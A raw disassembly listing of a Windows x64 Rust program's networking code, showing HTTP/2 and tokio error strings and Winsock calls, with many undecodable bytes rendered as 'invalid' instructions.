sbb r11, 0
cmp rbx, r11
lea r15, [rbp + 0x598]
jb case.0x1400defac.153
jmp case.0x1400df101.84
mov rbx, qword [rbp + 0x708]
mov eax, dword [rbp + 0x730]
mov rsi, rcx
jmp case.0x140110e31.71
call fcn.14018d880
xor al, 1
movzx ecx, byte [rsi + 0x18]
test cl, cl
leave
je 0x1400ed0f4
jmp 0x1400edcb4
mov r14d, 3
mov rsi, qword [rbp + 0x750]
push rax
invalid
movaps xmmword [rbp + 0x210], xmm7
adc byte [rdx], al
add byte [rax], al
mov byte [rbp + 0x740], 1
invalid
add byte [rcx], al
mov dword [rbp + 0x748], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], al
mov eax, r14d
mov eax, r14d
invalid
mov dword [rbp + 0x514], r14d
add eax, 0x8d4c0000
add byte [rbp + rcx*4 - 0x43], cl
cwde
lea r15, [rbp + 0x598]
mov ebp, 0x598
add eax, 0x8b480000
add byte [rax - 0x75], cl
mov rbx, qword [rbp + 0x708]
popfq
or byte [rdi], al
add byte [rax], al
invalid
invalid
add byte [rbx + 0x73085], cl
add byte [rax + rax*8 - 0x74b7f08b], al
test al, al
jne case.0x1400e1cdb.73
invalid
invalid
invalid
mov eax, dword [rbp + 0x730]
invalid
add byte [rax], al
test al, al
jne case.0x1400e1cdb.73
invalid
mov rax, qword [0x14023c300]
mov eax, dword [0x14023c300]
add eax, 0x14ee79
jns case.0x1400e1cdb.94
adc al, 0
shl rax, 1
shl eax, 1
test rax, rax
jne case.0x1400e23d9.52
pop rdx
mov rcx, rbx
fcos
adc eax, 0xa1bc8
enter 0xa1b, 0
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
sbb ecx, dword [rdx]
or al, byte [rax]
add byte [rax + 0x748bd], al
cmp byte [rbp + 0x748], 0
mov ebp, 0x748
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
je 0x1400ed8df
test byte [rdx], bh
add al, 0
add byte [rax], al
add bh, al
mov dword [rdi + 0x438], 2
xchg dword [rax], edi
add al, 0
invalid
cmp byte [rax + rax], al
add byte [rax], al
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x1400eb39a
out 0xde, al
fdivp st(7)
invalid
dec dword [rbx + rcx*4 - 0x7b]
mov r8, qword [rbp + 0x740]
mov eax, dword [rbp + 0x740]
invalid
invalid
add byte [rax], al
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
clc
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
xchg edx, eax
in eax, dx
adc al, 0
invalid
add byte [rcx], dh
xor edx, edx
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0xa1b5a
pop rdx
sbb ecx, dword [rdx]
invalid
or al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [0x14023c258]
or eax, 0x14ed83
sub ebp, 0x14
adc al, 0
add byte [rcx], dh
xor edx, edx
ror byte [rbx + rcx*4 - 0x7b], cl
mov r8, qword [rbp + 0x750]
mov eax, dword [rbp + 0x750]
push rax
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0xa1b44
sbb ecx, dword [rdx]
or al, byte [rax]
add cl, ch
jmp 0x1400ecdb6
int 0xf8
clc
invalid
invalid
call fcn.14018d880
test al, al
invalid
xchg edx, eax
add ecx, dword [rdx]
add byte [rax + rax*8 + 0x46c69d75], al
sal byte [rbp - 0x63], 0xc6
jne case.0x1400e1cdb.73
popfq
mov byte [rsi + 0x18], 1
sbb byte [rcx], r8b
sbb byte [rcx], al
jmp case.0x1400e1cdb.73
xchg edi, eax
call fcn.14018d880
add ecx, dword [rdx]
or al, byte [rax]
add byte [rcx + rax], dh
xor al, 1
add dword [rcx + 0x71085], ecx
mov dword [rbp + 0x710], eax
adc byte [rdi], al
add byte [rax], al
invalid
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0x730], rbx
mov dword [rbp + 0x730], ebx
popfq
xor byte [rdi], al
add byte [rax], al
invalid
invalid
add byte [rdi], cl
movzx eax, byte [rsi + 0x18]
mov dh, 0x46
sbb byte [rax + rax*8 - 0x1a667bf1], al
test al, al
je 0x1400ebab1
test byte [rcx - 0x1600001b], bl
cdq
in eax, 0xff
invalid
invalid
jmp 0x1400edfb8
wait
or al, byte [rax]
add al, ch
invalid
add byte [rax], al
call fcn.14018d880
pop rsi
add ecx, dword [rdx]
invalid
or al, byte [rax]
add byte [rcx + rax], dh
xor al, 1
movzx ecx, byte [r14 + 0x18]
movzx ecx, byte [rsi + 0x18]
mov dh, 0x4e
sbb byte [rcx + r9*8 - 0x1a497bf1], r8b
sbb byte [rcx + rcx*8 - 0x1a497bf1], al
test cl, cl
je 0x1400ebae7
test byte [rsi - 0x1600001b], dh
mov dh, 0xe5
in eax, 0xff
invalid
invalid
jmp 0x1400ee002
int3
or al, byte [rax]
add byte [rax], al
add byte [rax - 0x89216db], dh
mov al, 0x25
and eax, 0xfff76de9
jmp 0x1400eccaa
insd dword [rdi], dx
idiv edi
invalid
push qword [rax - 0x89916dd]
mov al, 0x23
and ebp, ecx
jmp 0x1400eccaa
idiv di
idiv edi
invalid
push qword [rax - 0x8a016dc]
mov al, 0x24
and al, 0xe9
jmp 0x1400eccaa
pop rdi
idiv edi
invalid
push qword [rax - 0x8a716e5]
mov al, 0x1b
sbb ebp, ecx
jmp 0x1400eccaa
pop rax
idiv edi
invalid
push qword [rax - 0x8ae16de]
mov al, 0x22
and ch, cl
jmp 0x1400eccaa
push rcx
idiv edi
invalid
push qword [rax - 0x8b516f0]
mov al, reloc.WS2_32.dll_recv
adc cl, ch
jmp 0x1400eccaa
idiv rdi
idiv edi
invalid
push qword [rax - 0x8bc16f2]
mov al, 0xe
jmp 0x1400eccaa
idiv r15d
idiv edi
invalid
push qword [rax - 0x8c316df]
mov al, 0x21
jmp 0x1400eccaa
cmp al, 0xf7
idiv edi
invalid
push qword [rax - 0x8ca16f5]
mov al, 0xb
jmp 0x1400eccaa
xor eax, 0xb0fffff7
idiv edi
invalid
push qword [rax - 0x8d116fc]
mov al, 4
add al, 0xe9
jmp 0x1400eccaa
idiv edi
idiv edi
invalid
push qword [rax - 0x8d816d8]
mov al, 0x28
jmp 0x1400eccaa
invalid
idiv edi
invalid
push qword [rax - 0x8df16f4]
mov al, 0xc
jmp 0x1400eccaa
and bh, dh
idiv edi
invalid
push qword [rax - 0x8e616f7]
mov al, 9
jmp 0x1400eccaa
sbb edi, esi
idiv edi
invalid
push qword [rax - 0x8ed16e7]
mov al, 0x19
jmp 0x1400eccaa
adc dh, bh
idiv edi
invalid
push qword [rax - 0x8f416e8]
mov al, 0x18
jmp 0x1400eccaa
or esi, edi
idiv edi
invalid
push qword [rax - 0x8fb16fe]
mov al, 2
jmp 0x1400eccaa
add al, 0xf7
invalid
invalid
add al, 0xf7
idiv edi
invalid
push qword [rax - 0x90216f1]
mov al, recv
jmp 0x1400eccaa
std
idiv bh
invalid
std
idiv bh
invalid
push qword [rax - 0x90916fd]
mov al, 3
jmp 0x1400eccaa
idiv bh
invalid
idiv bh
invalid
push qword [rax - 0x91016f9]
mov al, 7
jmp 0x1400eccaa
out dx, eax
idiv bh
invalid
out dx, eax
idiv bh
invalid
push qword [rax - 0x91716ff]
invalid
mov al, 1
jmp 0x1400eccaa
call 0xf10ed5b9
idiv bh
push qword [rax - 0x91e16e1]
invalid
invalid
loope 0x1400ed5bd
mov al, 0x1f
jmp 0x1400eccaa
loope 0x1400ed5bd
invalid
invalid
invalid
loope 0x1400ed5bd
idiv bh
push qword [rax - 0x92516ef]
adc ecx, ebp
invalid
invalid
invalid
mov al, 0x11
jmp 0x1400eccaa
invalid
idiv bh
invalid
invalid
idiv bh
push qword [rax - 0x92c16d7]
mov al, 0x29
invalid
sal esi, cl
invalid
mov al, 0x29
jmp 0x1400eccaa
sal esi, cl
invalid
invalid
sal esi, cl
idiv bh
push qword [rax - 0x93316ec]
int3
invalid
invalid
mov al, setsockopt
jmp 0x1400eccaa
int3
idiv bh
invalid
int3
idiv bh
push qword [rax - 0x93a16fb]
invalid
invalid
invalid
mov al, 5
jmp 0x1400eccaa
invalid
idiv bh
invalid
invalid
idiv bh
push qword [rax - 0x94116eb]
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x1400eccaa
invalid
idiv bh
invalid
mov esi, 0xb0fffff6
or eax, 0xfff6b7e9
mov bh, 0xf6
invalid
idiv bh
push qword [rax - 0x94816f3]
mov bh, 0xf6
invalid
mov al, 0xd
jmp 0x1400eccaa
mov bh, 0xf6
invalid
invalid
mov bh, 0xf6
idiv bh
invalid
push qword [rax - 0x94f16fa]
mov al, 6
jmp 0x1400eccaa
mov al, 0xf6
invalid
invalid
mov al, 0xf6
idiv bh
push qword [rax - 0x95616ee]
invalid
invalid
invalid
mov al, send
jmp 0x1400eccaa
invalid
idiv bh
invalid
test eax, 0xb0fffff6
or ch, cl
idiv bh
push qword [rax - 0x95d16f6]
invalid
invalid
invalid
mov al, 0xa
jmp 0x1400eccaa
invalid
idiv bh
invalid
movabs byte [0xf69be908b0fffff6], al
idiv bh
push qword [rax - 0x96416f8]
wait
invalid
invalid
mov al, 8
jmp 0x1400eccaa
wait
idiv bh
invalid
wait
idiv bh
push qword [rax - 0x96b16e2]
xchg esp, eax
invalid
invalid
mov al, 0x1e
jmp 0x1400eccaa
xchg esp, eax
idiv bh
invalid
xchg esp, eax
idiv bh
push qword [rax - 0x97216e0]
invalid
invalid
invalid
mov al, 0x20
jmp 0x1400eccaa
invalid
idiv bh
invalid
invalid
idiv bh
push qword [rax - 0x97916ea]
xchg dh, dh
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp 0x1400eccaa
xchg dh, dh
invalid
mov al, 0x27
jmp 0x1400eccaa
jg 0x1400ed61f
invalid
mov al, reloc.WS2_32.dll_send
jmp 0x1400eccaa
js 0x1400ed626
invalid
invalid
js 0x1400ed626
invalid
mov al, 0x17
jmp 0x1400eccaa
invalid
invalid
invalid
mov al, 0x1c
jmp 0x1400eccaa
invalid
invalid
invalid
mov al, 0x1d
jmp 0x1400eccaa
mov al, 0x26
jmp 0x1400eccaa
mov al, 0x1a
jmp 0x1400eccaa
mov byte [rdi + 0x1c1], 0
mov bl, 0xa
mov rdx, qword [rbp + 0x518]
cmp rdx, 2
jne 0x1400ece36
jmp 0x1400ecee0
call fcn.14018d880
test al, al
jne 0x1400ec5f4
mov rax, qword [rbp + 0x508]
mov byte [rax + 0x18], 1
jmp 0x1400ec5f4
call fcn.14018d880
test al, al
jne 0x1400ec61d
mov byte [rsi + 0x18], 1
jmp 0x1400ec61d
movzx eax, r13b
cmp eax, 4
jne 0x1400ed6f7
mov rax, qword [rbp + 0x738]
mov byte [rax], r13b
jmp 0x1400ed80a
mov rax, qword [rbp + 0x370]
mov rcx, qword [rbp + 0x6f8]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [rbp + 0x350]
movups xmm1, xmmword [rbp + 0x360]
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov rax, qword [rbp + 0x738]
mov byte [rax], 4
jmp 0x1400ed80a
mov rax, qword [rbp + 0x738]
movzx ecx, byte [rbp + 0x767]
mov byte [rax + 1], cl
movzx ecx, word [rbp + 0x764]
mov word [rax + 2], cx
mov ecx, dword [rbp + 0x75c]
mov dword [rax + 4], ecx
movdqu xmmword [rax + 8], xmm8
movdqa xmm0, xmmword [rbp + 0x6c0]
movdqu xmmword [rax + 0x18], xmm0
mov byte [rax], r13b
jmp 0x1400ed80a
lea rcx, [rbp + 0x548]
mov rax, qword [rcx + 0x20]
mov qword [rbp + 0x4d0], rax
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x4c0], xmm1
movdqa xmmword [rbp + 0x4b0], xmm0
jmp 0x1400ed7f7
cmp byte [rdi + 0x3d5], 0
je 0x1400ed897
mov rax, qword [rbp + 0x738]
mov byte [rax], 3
jmp 0x1400ed80a
lea rcx, [rbp + 0x368]
mov rdx, qword [rbp + 0x358]
mov r8, qword [rbp + 0x360]
call qword [rsi + reloc.WS2_32.dll_recv]
lea rcx, [rbp + 0x590]
mov rdx, r14
call fcn.140019b60
mov rax, qword [rbp + 0x5b0]
mov rcx, qword [rbp + 0x738]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [rbp + 0x590]
movups xmm1, xmmword [rbp + 0x5a0]
jmp 0x1400ed802
mov rax, qword [rbp + 0x377]
mov qword [rbp + 0xf7], rax
movdqu xmm0, xmmword [rbp + 0x357]
movups xmm1, xmmword [rbp + 0x367]
movups xmmword [rbp + 0xe7], xmm1
movdqu xmmword [rbp + 0xd7], xmm0
mov rcx, qword [rbp + 0x738]
mov qword [rcx + 0x20], rax
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
movaps xmm6, xmmword [rbp + 0x770]
movaps xmm7, xmmword [rbp + 0x780]
movaps xmm8, xmmword [rbp + 0x790]
add rsp, 0x828
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pxor xmm0, xmm0
mov rax, qword [rbp + 0x738]
movdqu xmmword [rax + 0x18], xmm0
mov word [rax], 0x101
mov dword [rax + 4], esi
lea rcx, [0x1401b9e38]
mov qword [rax + 8], rcx
lea rcx, [0x1401ea218]
mov qword [rax + 0x10], rcx
jmp 0x1400ed80a
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x540], xmm0
mov dl, 1
mov ecx, 1
jmp 0x1400ed8fc
movdqa xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x540], xmm0
mov ecx, dword [rbp + 0x514]
movzx edx, byte [rbp + 0x740]
mov rax, qword [rbp + 0x738]
mov byte [rax + 1], 1
mov dword [rax + 4], ecx
lea rcx, [0x1401b9e38]
mov qword [rax + 8], rcx
lea rcx, [0x1401ea218]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rbp + 0x540]
movdqu xmmword [rax + 0x18], xmm0
mov byte [rax], dl
jmp 0x1400ed80a
lea rax, [rbp + 0x6c0]
mov qword [rbp + 0x210], rax
lea rax, [fcn.140013600]
mov qword [rbp + 0x218], rax
mov rcx, qword [rbp + 0x580]
mov qword [rbp + 0x220], rcx
mov qword [rbp + 0x228], rax
lea rax, str.new_len____capacity_
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 2
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 2
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcio_read_buf.rs
call fcn.140186af0
jmp 0x1400ee2b8
mov qword [rbp + 0x590], 0
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x6c0]
lea r8, [rbp + 0x590]
call fcn.14018c5b0
jmp 0x1400ee2b8
mov byte [rbp + 0x590], al
mov byte [rbp + 0x763], 0
lea rax, [0x1401b9ec8]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_GOAWAY_frameC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcprotogo_away.rs
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, shutdown
call fcn.140186ec0
jmp 0x1400ee2b8
lea rax, [rbp + 0x6c4]
mov qword [rbp + 0x350], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x358], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x350]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
lea rax, [rbp + 0x544]
mov qword [rbp + 0x210], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x218], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
lea rax, [rbp + 0x544]
mov qword [rbp + 0x210], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x218], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
lea rax, [rbp + 0x544]
mov qword [rbp + 0x350], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x358], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x350]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
lea rcx, str.assertion_failed:_self.remote.is_none__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_settings.rs
lea r8, [0x1401ba8e0]
mov edx, 0x27
call fcn.140186b70
ud2
mov qword [rbp + 0x590], rbx
mov byte [rbp + 0x598], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x590]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ee2b8
mov qword [rbp + 0x590], r13
mov eax, dword [rbp + 0x748]
mov byte [rbp + 0x598], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x590]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ee2b8
lea rax, [rbp + 0x544]
mov qword [rbp + 0x210], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x218], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
lea rax, [rbp + 0x544]
mov qword [rbp + 0x210], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x218], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
mov byte [rbp + 0x590], al
lea rax, [0x1401baa58]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_pong_frame
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, shutdown
call fcn.140186ec0
jmp 0x1400ee2b8
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE_as_usize___val__val___MAX_MAX_FRAME_SIZE_as_usizeC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srccodec_framed_read.rs
lea r8, [0x1401b9c68]
mov edx, 0x5e
call fcn.140186b70
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400ee2b8
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400ee2b8
mov byte [rbp + 0x590], al
lea rax, [0x1401ba910]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_settings_frame
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, reloc.WS2_32.dll_shutdown
call fcn.140186ec0
jmp 0x1400ee2b8
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x590], rax
mov eax, dword [rbp + 0x710]
mov byte [rbp + 0x598], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x590]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ee2b8
mov qword [rbp + 0x590], rbx
mov byte [rbp + 0x598], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x590]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ee2b8
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400ee2b8
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2c
call fcn.140186b70
jmp 0x1400ee2b8
mov byte [rbp + 0x590], al
lea rax, [0x1401baa10]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_ping_frameC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcprotoping_pong.rs
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, shutdown
call fcn.140186ec0
jmp 0x1400ee2b8
mov byte [rbp + 0x590], al
lea rax, [0x1401ba090]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_RST_STREAM_frameC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_recv.rs
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, 0x18
call fcn.140186ec0
jmp 0x1400ee2b8
test r8, r8
jne 0x1400ee1ba
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400ee2b8
test r8, r8
jne 0x1400ee23a
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400ee2b8
mov byte [rbp + 0x590], al
lea rax, [0x1401ba980]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_settings_frame
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, reloc.WS2_32.dll_shutdown
call fcn.140186ec0
jmp 0x1400ee2b8
lea rcx, str.assertion_failed:_val___frame::MAX_MAX_FRAME_SIZE_as_usize
lea r8, [0x1401ba968]
mov edx, 0x3b
call fcn.140186b70
jmp 0x1400ee2b8
mov byte [rbp + 0x590], al
lea rax, [0x1401baa28]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_ping_frameC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcprotoping_pong.rs
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, shutdown
call fcn.140186ec0
jmp 0x1400ee2b8
movq xmm0, qword [rax + 8]
pshufd xmm0, xmm0, 0xe1
movq qword [rbp + 0x6c0], xmm0
lea rax, [rbp + 0x6c4]
mov qword [rbp + 0x350], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x358], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x350]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
jmp 0x1400ee2b8
movq xmm0, qword [rcx + 8]
pshufd xmm0, xmm0, 0xe1
movq qword [rbp + 0x6c0], xmm0
lea rax, [rbp + 0x6c4]
mov qword [rbp + 0x350], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x358], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
mov qword [rbp + 0x5b0], 0
lea rax, [rbp + 0x350]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x590]
call fcn.1401869b0
ud2
xor r13d, r13d
cmp byte [rbp + 0x524], 0
jne 0x1400f0b3d
jmp 0x1400f0b2e
mov rcx, qword [rbp + 0x360]
mov rdx, qword [rbp + 0x570]
mov r8, qword [rbp + 0x5a0]
call fcn.1400f3cb0
mov rcx, qword [rbp + 0x5a8]
mov rax, qword [rcx + 0x150]
cmp rax, qword [rcx + 0x158]
jbe 0x1400ef660
lea rcx, [rbp + 0x1f8]
mov rdx, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x5a0]
call fcn.1400267e0
cmp qword [rbp + 0x1f8], 0
je 0x1400ef660
mov rbx, qword [rbp + 0x1f8]
mov rsi, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x4d0]
lea rdx, [rbp + 0x1f8]
call fcn.140023710
mov qword [rbp - 0x50], rsi
mov ecx, esi
cmp qword [rbx + 0x10], rcx
jbe 0x1400f153b
mov rax, qword [rbx]
test rax, rax
je 0x1400f153b
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x1400f153b
mov rdi, rsi
shr rdi, 0x20
add rax, rcx
cmp dword [rax + 0x114], edi
jne 0x1400f153b
mov rdx, qword [rax + 0x90]
mov rcx, qword [rax + 0x98]
mov qword [rax + 0x90], 0
test rdx, rdx
je 0x1400ef532
call qword [rdx + ioctlsocket]
mov qword [rbp + 0x1f8], rsi
mov ecx, esi
cmp qword [rbx + 0x10], rcx
jbe 0x1400f15a2
mov rdx, qword [rbx]
test rdx, rdx
je 0x1400f15a2
imul rax, rcx, 0x130
cmp dword [rdx + rax], 2
je 0x1400f15a2
add rdx, rax
cmp dword [rdx + 0x114], edi
jne 0x1400f15a2
cmp byte [rdx + 0x121], 0
jne 0x1400ef660
mov dword [rbp + 0x1f8], esi
mov dword [rbp + 0x1fc], edi
mov rdx, qword [rbx]
test rdx, rdx
je 0x1400f1904
cmp dword [rdx + rax], 2
je 0x1400f1904
add rdx, rax
cmp dword [rdx + 0x114], edi
jne 0x1400f1904
mov byte [rdx + 0x121], 1
cmp dword [r12], 0
je 0x1400ef625
mov rdx, qword [rbp + 0x530]
movq xmm0, qword [rdx]
mov dword [rbp + 0x1f8], esi
mov dword [rbp + 0x1fc], edi
cmp qword [rbx + 0x10], rcx
jbe 0x1400f1a6d
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400f1a6d
cmp dword [rcx + rax], 2
je 0x1400f1a6d
add rcx, rax
cmp dword [rcx + 0x114], edi
jne 0x1400f1a6d
mov dword [rcx + 0xb8], 1
movq qword [rcx + 0xbc], xmm0
mov rax, qword [rbp + 0x530]
mov rcx, qword [rbp + 0x4d8]
jmp 0x1400ef64d
mov dword [r12], 1
mov rax, qword [rbp + 0x530]
mov dword [rax], esi
mov rax, qword [rbp + 0x4d8]
mov dword [rax], edi
mov rax, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x320]
mov dword [rax], esi
mov dword [rcx], edi
nop word cs:[rax + rax]
mov qword [rbp + 0x330], 2
